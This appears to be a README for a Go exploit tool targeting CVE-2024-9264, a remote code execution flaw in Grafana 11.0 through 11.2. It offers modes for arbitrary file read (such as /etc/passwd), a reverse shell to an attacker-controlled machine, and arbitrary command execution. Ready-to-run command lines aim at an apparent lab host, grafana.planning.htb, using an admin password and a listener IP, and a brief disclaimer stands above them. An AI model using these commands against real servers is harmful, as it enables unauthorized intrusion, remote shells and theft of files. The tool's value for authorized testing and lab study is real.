
A go implementation for CVE-2024-9264 which effect grafana versions 11.0.x, 11.1.x, and 11.2.x.
Exploit tool for CVE-2024-9264, a critical vulnerability in Grafana allow authenticated attcker to execute sql query leading to RCE
🛡️ This tool is strictly for educational purposes and authorized penetration testing.
Unauthorized use is illegal and unethical.
CVE-2024-9264 is a critical flaw in Grafana allows authenticated attacker to execute sql commands leading to RCE and file read
file – Read arbitrary files (e.g., /etc/passwd)shell – Reverse shell to attacker machinecommand – Run arbitrary shell commands (e.g., whoami)
Not all of the arguments are nessary.
go run main.go -ip 10.10.16.91 -port 8080 -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type shell
go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type file -filename /etc/passwd
go run main.go -username admin -password 0D5oT70Fq13EvB5r -url http://grafana.planning.htb -type command -cmd 'ls -al'
go run main.go [flags]